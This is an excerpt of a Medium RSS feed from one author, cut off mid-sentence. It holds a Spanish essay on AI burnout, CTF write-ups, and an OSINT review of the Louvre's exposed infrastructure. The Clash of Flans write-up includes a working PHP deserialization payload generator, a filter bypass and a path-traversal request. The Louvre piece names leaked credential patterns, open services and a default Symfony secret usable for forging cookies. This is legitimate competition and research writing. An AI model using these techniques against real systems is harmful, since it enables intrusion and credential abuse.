            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*qUvpHrsXUKloRGOS.jpg" /></figure><p>Pensé en crear un titulo usando una IA , y que fuera muy llamativo en inglés (para sentirme mas hacker y pro)pero en lugar a eso, pensé en que el titulo fuera el pensamiento que tengo desde el primer sorbo de café en el día de hoy.</p><p>¿y si …..era un mejor hacker sin la IA ?</p><p>así mismo , en este post no habrá una portada diseñada con IA y efectos, simplemente una foto que siempre me ha acompañado durante años</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*-xtGNcmWGrXG8MRwxkT9ug.png" /><figcaption>Foto de mi mug favorito recordatorio de cuando inicie en ciberseguridad y el valor de nuestras mentes</figcaption></figure><p>Empezaré siendo extremadamente sincero, con la esperanza de que, desde la humildad, muchos se reconozcan en esto (y aceptando que otros no lo harán): actualmente somos adictos a la Inteligencia Artificial.</p><p>No está mal. La usamos cada vez más para facilitar nuestras tareas, corregirnos, buscar información y generar resultados mucho más inteligentes y profesionales.</p><p>Sin embargo, es agotador. Si, como yo, te sientes exhausto, no estás solo. Es constante el bombardeo de nuevas funcionalidades, nuevas herramientas, nuevos cursos… Si de por sí la ciberseguridad ya tendía a ser abrumadora, ahora con la IA su evolución avanza a un ritmo vertiginoso.</p><p>He llegado a tener episodios de parálisis por análisis ante el exceso de información. Me encanta mi sector, disfruto muchísimo aprendiendo y resolviendo nuevos retos, pero hay que admitir que es demasiado. Hay mucho por hacer, mucho por asimilar.</p><p>¿Soy el único sintiendo esta saturación tecnológica últimamente?</p><p>Es probable que muchos sientan que este cambio de la IA viene en camino, pero en realidad ya está aquí hace mucho y cada día es más rápido y no creo que se detenga</p><p>es normal sentirse atrasado de todo lo que se supone se debe saber., pero seamos honestos, esta bien sentirlo también es bueno apagar un rato y no saberlo todo</p><p>A este agotamiento se suma la creciente aparición de “gurús” y expertos en IA. Entiendo que está bien compartir lo que se sabe, y la oferta de nuevos cursos tiene su lado positivo. Pero en esta carrera tecnológica, ¿alguien realmente puede llamarse “experto” en algo que genera nuevos modelos cada semana o cada 15 días? Para poner las cosas en perspectiva: el propio Claude escribió alrededor del 80% de su propio código. Así de irreal es el ritmo.</p><p>Creo que no tiene nada de malo admitir que no sabemos algo. Tampoco está mal reconocer que nuestro trabajo y nuestros resultados fueron logrados con la ayuda de la IA. Lo que sí hace daño es la falta de transparencia: pretender que el mérito es 100% tuyo y ocultar las herramientas que usaste. Esa falsa imagen de genialidad inalcanzable es, en gran medida, lo que está alimentando este problema de ansiedad y saturación en nuestra industria.</p><p>Toda esta situación me ha llevado a una reflexión diaria bastante profunda. Constantemente me pregunto: de todo lo que produzco hoy, ¿qué porcentaje es realmente mío y cuánto le pertenece a la IA?</p><p>A veces siento que vivo la paradoja del barco de Teseo aplicada a la ciberseguridad. Si voy reemplazando mis propios procesos y código por los de la inteligencia artificial, ¿sigo siendo el mismo profesional? ¿Soy mejor hacker hoy gracias a estas herramientas, o habría logrado el mismo nivel técnico hace unos años sin ellas?</p><p>Y para ser brutalmente honesto: si tu trabajo es 100% frente a una pantalla, altamente operativo y ya está siendo soportado por IA, es muy probable que la IA te reemplace.</p><p>Hace semanas yo mismo me refugiaba en la idea de que nuestra creatividad y nuestro pensamiento lateral eran intocables. Hoy ya no estoy tan seguro, y sé que muchos de ustedes también lo han notado en silencio.</p><p>Con esto no quiero decir que debamos dejar de usar la IA. Pensar eso sería absurdo; esta tecnología llegó, se quedará y continuará evolucionando. Lo que sí debemos hacer es adaptarnos: aprender de ella, usarla a nuestro favor y continuar hackeando con ella de la mano.</p><p>Hay que probarla, interactuar, cambiar, y sobre todo, dejar el ego atrás. Además deberíamos tener la humildad de aceptar que hay cosas que la IA ya hace mejor que nosotros.</p><p>Como hackers, nuestra mayor defensa es no perder el entusiasmo por aprender, mantener viva la curiosidad y, ahora más que nunca, saber adaptarnos mucho mas fácil día tras día.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/0*b3wm5wYo1xjPhhLn.jpg" /></figure><p>No sé si en un futuro continúe en esta carrera, si me siga gustando la ciberseguridad, OSINT o participar en CTFs, o si, por el contrario, prefiera desaparecer de esta escena. Sin embargo, mientras me guste investigar, compartir, aprender y crear cosas, aún estaré por estos medios. Y más si se puede hacer de maneras más rápidas y efectivas junto con la IA.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb0f3c222007" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Clash of Flans — Cómo encadené 4 vulnerabilidades para leer una flag]]></title>
            <link>https://0s1nt.medium.com/clash-of-flans-c%C3%B3mo-encaden%C3%A9-4-vulnerabilidades-para-leer-una-flag-37567f0126b8?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/37567f0126b8</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 14:56:17 GMT</pubDate>
            <atom:updated>2026-03-17T14:58:34.291Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azlBz_rJiogo6eWAE9xrbQ.png" /></figure><p>Hace semanas no jugaba CTF. Esta vez tuve la oportunidad de retomar con el equipo y jugar el <a href="https://ctf.midnightflag.fr/">Midnight Flag CTF</a>. Me emociona ver talentos nuevos y equipos de la región cada vez jugando más fuerte asi mismo veo el creciente <a href="https://medium.com/@n0r37urn/the-death-of-the-debugger-when-the-prompt-replaces-the-brain-c3aac40c021e">uso de IA en este tipo de eventos</a>. La escena sigue creciendo y eso siempre se siente bien.</p><p>Entre los retos que resolví, <strong>Clash of Flans</strong> fue el que más disfruté. Un challenge de categoría <strong>Web</strong> valorado en <strong>100 puntos</strong> que, detrás de una temática divertida de “peleas de flanes”, escondía una cadena de explotación bastante elegante. Aquí les cuento paso a paso cómo lo resolví.</p><h3>Reconocimiento inicial</h3><p>El reto nos entregaba un archivo ClashOfFlans.zip con el código fuente de una aplicación PHP. La premisa era simple: una app donde los usuarios crean &quot;flanes&quot; y los hacen pelear entre sí. Pero al revisar el código, la historia era otra.</p><p>Lo primero que salté a buscar fue cómo la aplicación maneja la entrada del usuario, y rápidamente encontré el punto de entrada principal en index.php:</p><pre>if (getCookie(&quot;flans&quot;)) {<br>    $data = unserialize(getCookie(&quot;flans&quot;));<br>    // ...<br>}</pre><p>Un unserialize() directamente sobre una cookie controlada por el usuario. Esto ya parecia ser un <strong>PHP Object Injection</strong> (Deserialización Insegura).</p><h3>El filtro que no filtraba</h3><p>Antes de emocionarme demasiado, noté que existía una función is_bad() en functions.php que intentaba bloquear la inyección de clases peligrosas. Utilizaba strpos() para buscar las palabras &quot;Clash&quot; y &quot;Baker&quot; dentro del valor de la cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IllMGR6AFKd9WEudg8rIUw.png" /></figure><p>El detalle clave es que strpos() espera un <strong>string</strong> como parámetro. ¿Qué pasa si le mandamos un <strong>array</strong>?</p><p>Si en la petición HTTP cambiamos el nombre de la cookie de flans= a flans[0]=, PHP la interpreta como un array. Esto provoca que strpos() falle silenciosamente devolviendo null, que se evalúa como falso. Filtro evadido.</p><p>La función flatten() de la aplicación se encargaba luego de convertir ese array de vuelta a string justo antes de pasarlo a unserialize(). Perfecto para nosotros.</p><p>En Burp Suite se podía confirmar el bypass: al enviar la cookie como array, la respuesta mostraba los warnings de strpos() esperando un string pero recibiendo un array — señal clara de que estábamos en el camino correcto.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLpSEHpxVtsC31OYD3MWxA.png" /></figure><h3>Construyendo la POP Chain</h3><p>Con la deserialización abierta, el siguiente paso fue encontrar una <strong>cadena de gadgets</strong> (POP Chain) que nos permitiera ejecutar algo útil. Después de analizar las clases disponibles, tracé la siguiente ruta de ejecución:</p><ol><li><strong>Flan::__destruct()</strong> — Se ejecuta automáticamente al finalizar el script. Si $this-&gt;name es un objeto en vez de un string, PHP invoca __toString().</li><li><strong>Clash::__toString()</strong> — Llama internamente a $this-&gt;getSummary().</li><li><strong>Clash::getSummary()</strong> — Toma el parámetro $_GET[&quot;side&quot;]. Si configuramos side=ClashSummaryByUuid e inyectamos un objeto Baker en $this-&gt;flan1, forzamos una llamada a una propiedad inexistente, lo que dispara el método mágico __get().</li><li><strong>Baker::__get($name)</strong> — Lee los argumentos desde $_GET[&quot;args&quot;], los separa, y ejecuta dinámicamente el método get + $name. Resultado: se invoca Baker::getClashSummaryByUuid() con nuestro input.</li></ol><p>Cada pieza encajaba con la siguiente. Una cadena de 4 eslabones que arrancaba desde un destructor y terminaba en una función capaz de leer archivos.</p><h3>LFI con truncamiento de ruta</h3><p>La función getClashSummaryByUuid($uuid) resultó ser nuestra primitiva de lectura de archivos. Concatenaba nuestra entrada con un directorio base y la extensión .cof, y luego truncaba la ruta a exactamente <strong>100 caracteres</strong>:p</p><pre>$file = joinpath($CLASH_DIR . &#39;/&#39; . $uuid . &#39;.cof&#39;);<br>$file = substr($file, 0, 100);<br>if (file_exists($file)) { return file_get_contents($file); }</pre><p>Para leer /flag.txt necesitábamos que la extensión .cof quedara <strong>fuera</strong> de esos 100 caracteres. Es decir, la ruta hasta flag.txt debía medir exactamente 100 caracteres, de forma que substr() cortara el .cof por completo.</p><p>El truco estaba en usar la combinación correcta de saltos de directorio (../) y symlinks reales del sistema Linux. /proc/thread-self/root/ es un symlink que apunta a /, así que podíamos usarlo para &quot;consumir&quot; caracteres sin cambiar la ubicación real.</p><p>La función joinpath() simplifica las rutas, eliminando ./ redundantes y resolviendo ../. Esto significaba que el primer ../ se anulaba al salir de la carpeta records/ donde comenzaba la ruta base.</p><p>Después de hacer las cuentas, la fórmula ganadora fue:</p><blockquote><em>records/ + </em><strong><em>17× </em></strong><strong><em>../</em></strong><em> + </em><strong><em>2× </em></strong><strong><em>proc/thread-self/root/</em></strong><em> + </em><em>flag.txt = </em><strong><em>exactamente 100 caracteres</em></strong><em> después de la normalización</em></blockquote><h3>El exploit final</h3><h4>Payload PHP</h4><p>Escribí un generador de payload que construía los objetos serializados con la estructura correcta:</p><pre>&lt;?php<br>class Baker {<br>    protected $name = &quot;Pwned&quot;;<br>    protected $flans = [];<br>}</pre><pre>class Clash {<br>    protected $flan1;<br>    protected $flan2;<br>    protected $winnerName = &quot;W&quot;;<br>    protected $resultDetails = &quot;D&quot;;</pre><pre>    public function __construct() {<br>        $this-&gt;flan1 = new Baker();<br>        $this-&gt;flan2 = new Baker();<br>    }<br>}</pre><pre>class Flan {<br>    protected $name;<br>    protected $size = 1;<br>    protected $weight = 1;<br>    protected $sturdiness = 1;</pre><pre>    public function __construct() {<br>        $this-&gt;name = new Clash();<br>    }<br>}</pre><pre>$payload = array(&#39;flans&#39; =&gt; array(new Flan()));<br>echo urlencode(serialize($payload));<br>?&gt;</pre><h3>La petición en Burp Suite</h3><p>Con el payload generado, armé la petición HTTP definitiva:</p><pre>GET /?side=ClashSummaryByUuid&amp;args=../../../../../../../../../../../../../../../../../proc/thread-self/root/proc/thread-self/root/flag.txt HTTP/1.1<br>Host: dyn-03.midnightflag.fr:13567<br>Cookie: PHPSESSID=mi_sesion; flans[0]=[payload_serializado_url_encoded]</pre><p>Los parámetros GET activaban la cadena POP (side seleccionaba el método y args proporcionaba la ruta de traversal), mientras que la cookie flans[0] inyectaba los objetos serializados con el bypass del filtro.</p><p>Al revisar el código fuente de la respuesta en Burp, la flag apareció incrustada en el HTML como parte del output de la aplicación:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOyBJr04Y0LPPVwVmbvosQ.png" /></figure><h3>Resumen de la cadena de ataque</h3><p>Lo que hace interesante este reto es que no se trata de una sola vulnerabilidad, sino de <strong>cuatro eslabones</strong> que debían funcionar juntos:</p><ol><li><strong>Deserialización insegura</strong> — unserialize() sobre input del usuario sin sanitización.</li><li><strong>Bypass del WAF</strong> — Enviar la cookie como array para romper strpos().</li><li><strong>POP Chain</strong> — Encadenar __destruct() → __toString() → getSummary() → __get() para llegar a una primitiva de lectura de archivos.</li><li><strong>LFI con path truncation</strong> — Calcular la longitud exacta de la ruta usando symlinks de Linux para que substr() eliminara la extensión .cof.</li></ol><p>Si alguno de los cuatro fallaba, no había flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*ASWMpZdlU7EnCJ98" /></figure><p>Retos como<strong> Clash of Flans</strong> me recuerdan por qué disfruto tanto los CTF. No es solo encontrar una vulnerabilidad o marcar el reto de afan y pasar al siguiente, como una maquina…. Es entender cómo interactúan múltiples componentes de una aplicación, cómo las protecciones pueden fallar de formas inesperadas, y cómo los detalles de bajo nivel del sistema operativo pueden ser la pieza final del puzzle..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*kQ2-qdKnAQLEPqL0na4SHA.png" /></figure><p>Fue genial volver a competir y ver cómo la comunidad sigue creciendo. si bien no fue el mejor puntaje del evento , me emociono mucho lo que aprendí durante el evento ….Nos vemos en el próximo CTF.</p><p><strong>Flag:</strong> MCTF{7hr33-ch4rs_pr0bl3m}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37567f0126b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An OSINT Autopsy of the Louvre’s “Heist of the Century”]]></title>
            <link>https://0s1nt.medium.com/an-osint-autopsy-of-the-louvres-heist-of-the-century-09c2af7fe0e5?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/09c2af7fe0e5</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Sun, 07 Dec 2025 04:18:15 GMT</pubDate>
            <atom:updated>2025-12-07T04:18:15.168Z</atom:updated>
            <content:encoded><![CDATA[<h4>Validating the headlines of the 2025 cyber-breach using Open Source Intelligence — without crossing the line.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yCwCzG-q36DvZOSi6ggBpw.png" /></figure><p>Nov 2025 will be remembered for two things: the audacious theft of nearly €100 million in historical artifacts from the Louvre, and the almost comical cybersecurity detail that allegedly allowed it to happen.</p><p>Headlines screamed that the administrative password was simply <strong>“LOUVRE”</strong>. Others pointed to vintage operating systems and default credentials on security appliances. The internet laughed, memes were made, and the world moved on. <a href="https://www.liberation.fr/checknews/louvre-en-mot-de-passe-logiciels-obsoletes-mises-a-jour-impossibles-dix-ans-de-failles-dans-la-securite-informatique-du-premier-musee-au-monde-20251101_RD5YGV6WMVAXLL6U3SRGVFBIBY/">example</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*memjhqQxpUGU7mAVYIyqFA.png" /></figure><p>But as cybersecurity enthusiasts and researchers, we don’t just read headlines — we verify data. I asked myself a simple question: <strong>Is the digital footprint of the world’s most famous museum actually that exposed?</strong></p><p>Using <strong>OSINT (Open Source Intelligence)</strong> techniques, I conducted a passive analysis of the publicly available data surrounding the museum’s infrastructure. What I found wasn’t just a “weak password” — it was a textbook example of how digital hygiene failures create the perfect storm for a breach.</p><blockquote><strong><em>⚠️ Ethical Disclaimer:</em></strong><em> </em>This article is for educational and journalistic purposes only. All information presented here was obtained from public sources, historical data breaches, and passive indexing services (OSINT). No active scanning, intrusion, or attacks were performed against the target’s infrastructure.</blockquote><h3>1. The Myth of the “LOUVRE” Password</h3><p>The media mocked the alleged use of the password “LOUVRE” for critical systems. But is this really so rare?</p><p>To verify the probability of this bad habit, I turned to <a href="https://haveibeenpwned.com/Passwords"><strong>Have I Been Pwned</strong></a>, the industry standard for checking compromised credentials. The results were sobering.</p><p>The string louvre appears as a password in historical leaks <strong>7,219 times</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_s1sY6jPXcvwu6_MPWr9g.png" /></figure><p>This confirms a dangerous statistical reality: humans are predictable. If an attacker runs a simple dictionary attack against the museum’s perimeter, “louvre” isn’t just a guess; it’s a high-probability key. It validates the news reports: using the institution’s name as a password is a widespread, persistent behavior.</p><h3>2. The Story Told by “Infostealers”</h3><p>Moving beyond simple passwords, I looked into public repositories of “Stealer Logs” (like <em>Naz.api</em> or <em>Alien TxtBase</em>). These databases aggregate information stolen from malware infected devices worldwide.</p><p>Searching for the domain louvre.fr in these historical dumps paints a worrying picture of <strong>Credential Hygiene</strong>:</p><ul><li><strong>Pattern of Re-use:</strong> We see corporate email addresses (@louvre.fr) registered on third-party sites—ranging from e-commerce to travel agencies—often with very weak passwords.</li><li><strong>The “Personal” Mix:</strong> There are instances of users mixing personal identifiers with professional environments, creating a blurred line that social engineers love to exploit.</li><li><strong>Historical Exposure:</strong> Passwords like Louvre123, P.louvre1, or variations of birthdates appear frequently in older leaks.</li></ul><p><strong>The Takeaway:</strong> A sophisticated hacker doesn’t always need to break the firewall. They often just need to find credentials compromised in a completely unrelated breach (like a shopping site) and try them on the corporate VPN. This technique, known as <strong>Credential Stuffing</strong>, is likely how the initial foothold was established.</p><h3>3. The Infrastructure: Leaving the Windows Open</h3><p>Finally, I looked at the external perimeter using <strong>Shodan</strong>, the search engine for Internet-connected devices. By analyzing the public IP range associated with the entity, the digital cracks become visible.</p><p>The indexing data reveals an infrastructure that “talks” too much:</p><ul><li><strong>Open SSH (Port 22):</strong> The remote administration port was found exposed to the open internet. In modern cybersecurity, this is akin to leaving the service entrance unlocked. Even with a password, it invites brute-force attacks from every bot on the web.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0M9Y4EVfMHEW1quDjSA8w.png" /></figure><ul><li><strong>Unpatched Vulnerabilities (CVEs):</strong> The server banners indicate software versions potentially susceptible to known exploits, including:</li><li><strong>CVE-2025–23419:</strong> A recent severity issue involving TLS session management.</li><li><strong>CVE-2023–44487:</strong> The HTTP/2 “Rapid Reset” vulnerability that allows for Denial of Service.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*lq58eoPeJdtbwnuZjLamuw.png" /></figure><p>When an attacker sees unpatched CVEs and open administrative ports, they don’t see a museum; they see a playground.</p><h3>4. GitHub Recon</h3><p>While analyzing infrastructure gives us the “where,” analyzing code gives us the “how.” A simple GitHub search for relevant keywords led to a repository named ticketing.louvre.fr.</p><p>Finding source code related to a target’s ticketing system on a public repository is already a major security failure (Source Code Disclosure), but the contents of the app/config/parameters.yml.dist file revealed something even more concerning:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*_DyaltsnTq5IM_DCVXIOLw.png" /></figure><p><strong>Why this matters:</strong> This snippet is from a Symfony application. The secret token is the cryptographic heart of the application—it is used to sign session cookies and generate CSRF protection tokens.</p><p>While this file is technically a “distribution template” (.dist), its presence in a public repository suggests a lack of code governance. Furthermore, in many rushed deployments, developers simply rename this file to parameters.yml without changing the defaults.</p><p>If the live production server is indeed running with the value ThisTokenIsNotSoSecretChangeIt, an attacker doesn&#39;t need a password. They could mathematically forge their own session cookies, effectively tricking the server into believing they are a logged-in administrator.</p><p>Additionally, the template suggests a default database user of root. While standard in local development, leaking these &quot;defaults&quot; gives attackers a clear map of what the internal architecture looks like.</p><h3>Conclusion</h3><p>The 2025 Louvre incident wasn’t magic. It wasn’t a “Hollywood” hack involving lasers and impossible code.</p><p>My OSINT analysis suggests it was likely the result of the <strong>basics being ignored</strong>:</p><ol><li>Predictable passwords.</li><li>Poor credential hygiene by staff.</li><li>Exposed and unpatched infrastructure.</li></ol><p>If I — using only legal, free, and public tools — can see these cracks in the armor, imagine what a motivated criminal syndicate with months of planning could do.</p><p>The “LOUVRE” password headline might be funny, but the reality is a serious reminder: <strong>Security is not a product, it’s a process.</strong> And right now, user awareness is the only firewall that matters.</p><p><strong>Note:</strong></p><p>At the time of publication, the Louvre Museum has not officially confirmed the use of the specific credential mentioned in press reports (“LOUVRE”). This analysis is based on the correlation of these reports with historical data available from public sources (OSINT).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09c2af7fe0e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Algunos Writeups del CTF de JCUN 2025]]></title>
            <link>https://0s1nt.medium.com/algunos-writeups-del-ctf-de-jcun-2025-17a7bd81359a?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/17a7bd81359a</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Mon, 10 Nov 2025 02:06:48 GMT</pubDate>
            <atom:updated>2025-11-10T02:06:48.316Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*LyxZAWZHMN10LBhSPf8RWQ.png" /></figure><p>Recientemente tuvimos la oportunidad de jugar el CTF de el evento <a href="https://jcunal.com/">JCUN </a>en su edición del año 2025 de manera remota, el cual disfrutamos , las casi 8 horas que lo jugamos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2ccduAMI8YFPIZcLQvwoQ.png" /></figure><p>Como es costumbre de vez en cuando y si hay las capacidades el equipo juega y hacemos un post, esta es una de las ocasiones, donde pondremos como solucionamos la mayoría de los retos de este CTF que nos entretuvo la mayoría del día, hasta que decidimos abortar, como lo mencionamos en la parte<strong><em> Fin del evento para nosotros</em></strong> de este post.</p><p>El primer reto que resolvimos fue</p><p><strong>ROT</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*WdGkzNVseV0zbgFgH98bTg.png" /></figure><p>Para cuando estábamos haciendo este post , este reto solo tenia 6 soluciones, por lo cual nos pareció interesante compartir, nos daban un archivo.txt con la siguiente string, en donde se podía ver el formato de bandera.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*JThGjFMdIMyyl73zHh7pHQ.png" /></figure><p>después de dar un poco de vueltas con ROT13, ROT47, pensamos diferente como lo hemos dicho en otras ocasiones <a href="https://medium.com/@osint4fun/pensamiento-lateral-y-su-importancia-en-resoluci%C3%B3n-de-retos-desaf%C3%ADos-o-ctfs-2635794dc793">https://medium.com/@osint4fun/pensamiento-lateral-y-su-importancia-en-resoluci%C3%B3n-de-retos-desaf%C3%ADos-o-ctfs-2635794dc793</a></p><p>así que si los strings los organizamos de arriba hacia abajo en columnas se puede leer la flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/102/1*FGZx0qA4IqO6z1DniP7YKg.png" /></figure><p>El siguiente reto que desarrollamos fue huevo de pascua.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*cHnQ9wG98WM1TUjzEEWGpw.png" /></figure><p>En el sitio web de los organizadores en el github, en los commits de hace 2 semanas era visible la flag y un señuelo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IXDTglPUpewbWWNX" /></figure><p>Posteriormente pasamos a Light Stars Bunny, para lo cual <a href="https://medium.com/u/d75288e37797">N0R37urn</a> identifico que estaban almacenadas en bits plane y al usar stegsolve logro obtener la flag</p><p>JCUN25{d0_y0u_L1k3_RGB_L1gHt5?#!}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fdkQJOXPbPuVBKzW" /></figure><p>Para el reto de uqbar origins , logramos obtener la first blood</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*PH0taXv_4sfapcV8m61eBg.png" /></figure><p>para este desafío <a href="https://medium.com/u/cd3347a82239">G4b0_</a> identifico la foto en el “hangar” y la flag, nos divirtió mucho este reto</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fBvr99jDz1tE_f5g" /></figure><p>para el reto de osint, nuestro querido amigo, tambien logramos una first blood, este reto al momento del post solo tenia 3 respuestas por lo que compartimos tambien la solucion</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*RnPl6rLlYg8VMkKKnt6JWg.png" /></figure><p>En el discord de los organizadores aparecía este usuario borges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/0*Vk205cODvQjppjbj" /></figure><p>y al buscarlo en twitter tenia un comentario con una flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*Z2pjzt4oGXtcr--cUO_mIA.png" /></figure><p>el siguiente reto fue Alfa Centauri, de categoría forense</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*4qyc7ihHlnSB2g1EvIXJkw.png" /></figure><p>para este había un zip con el cual se uso foremost para no hacerlo manual, pero este tenia una pass, esa pass al revisar las peticiones html estaban unas strings codeadas, usando el mapeo que sale del título (⌇⟟⌇⏁⟒⋔⏃ ⎅⟒ ⋔⏃⟟⌰⌇ ⌰⍜☊⏃⌰ → SISTEMA DE MAILS LOCAL), se obtiene por ejemplo: Primer mensaje (Paul → Alf): HOLA ALF, ESTA REGION DEL UNIVERSO ES VACIA, NADIE NOS ESPIA, ES SEGURO Respuesta de Alf (cuando manda el ZIP): HOLA PAUL, ENTIENDO, ENTONCES TE PASO EL ARCHIVO Y el mensaje clave: LA CLAVE ES: XERXES34NOVA , EN MAYUSCULAS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jpgYqrPuyoBsubsR" /></figure><p><strong>Logic</strong></p><p>en este se uso <strong>binwalk, </strong>los logs que hay dentro del .rs <br>y ahi estaba</p><p>[BOOT] Bootloader v1.2.3 build 2025-09-05 [BOOT] Starting POST... [DBG] NOTE=JCUN25{eM-b3dd3d-UART-s1d3}; [SENS] TEMP=?C HUM=63% PRESS=1021hPa [FS] mount / (littlefs) rw, crc=0x3043D001 OK [CLK] HSE=8MHz PLL=ON SYSCLK=16MHz LSE=OK [DHCP] lease 192.168.231.22 t1=201s t2=512s ... JCUN25{eM-b3dd3d-UART-s1d3}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fdT7gfbkVKGb3bo1" /></figure><p>los siguientes retos , los hicimos en paralelo y en tiempo record, lo cual motivo mucho mas al equipo.</p><p><strong>Soooo Easy</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*2KcqthiGPLMa2uPS" /></figure><p><strong>Magic Spells</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FZN4nN5VyJ4w0Ef3" /></figure><p><strong>Agentes espaciales</strong></p><p>este era un fallo de SQLi insertando un union SELECT en el user agent</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-xtqtfQLgrKyMT-wyM6mg.png" /></figure><p>en la respuesta se podía observar la flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*uJBh54mGRz8iTcoPUHZ9AQ.png" /></figure><p>el siguiente fue de reversing</p><p><strong>Nave OwO</strong></p><p>para esto se uso ghidra y habia un xor para encontrar la passwrod b1 = (0x560e0948654f0a43).to_bytes(8, “little”)</p><blockquote>b’C\nOeH\t\x0eV’ → hex: 43 0a 4f 65 48 09 0e 56</blockquote><blockquote>0x4f ^ key = 0x75 → key = 0x4f ^ 0x75 = 0x3a y0u_r34lly_n33d_th1s?</blockquote><p>y al usar esto, el equipo obtuvo la flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/0*Y2HKKGRpkAe2_5UE" /></figure><p>el siguiente desafío fue Superliminal, de OSINT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*mvCGanQBl6NgZ7e_i1zJ-Q.png" /></figure><p>para este, en palabras de <a href="https://medium.com/u/d75288e37797">N0R37urn</a> , nos la fumamos verde, en el superponiendo las dos imágenes la de la bóveda y la de la portada de Twitter de uno de los retos, se lograba ver la flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OcSqwZiEqmh_MM6v" /></figure><p>El siguiente que queremos compartir es the lost astronaut</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*pFRnjL9xDH88vVP3x_Khmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*6ua25KHhqQXRr0v3RaD2qQ.png" /></figure><p>by <a href="https://medium.com/u/d75288e37797">N0R37urn</a>:<br>Este reto fue muy interesante porque no se resolvía con un simple reverse image search en Lens, Yandex o cualquier otra herramienta. Primero tenía que identificar en qué país estaba tomada la foto. Para eso usé el blog de herramientas de geolocalización de imágenes</p><p><a href="https://medium.com/@n0r37urn/zoom-in-and-analyze-reverse-image-tools-for-geoint-you-need-to-know-a5804c4966cb">https://medium.com/@n0r37urn/zoom-in-and-analyze-reverse-image-tools-for-geoint-you-need-to-know-a5804c4966cb</a> y, tras algunas pruebas, concluí que estábamos en Taiwán.</p><p>En las imágenes del reto se veía claramente un puente ferroviario (tipo metro o tren), unas bodegas, un puente pequeño y, sobre todo, un poste con información: ese detalle fue la clave. Haciendo un poco más de OSINT encontré una referencia (imagen) que me permitió acotar una región aproximada donde buscar.</p><p>Con esa zona en mente, empecé a jugar con la pista del “42% x 80% en la zona K de Taiwán”, haciendo los cálculos mentalmente para estimar un área de búsqueda. Mi primer recorrido en Street View fue cerca de Dounan, en el condado de 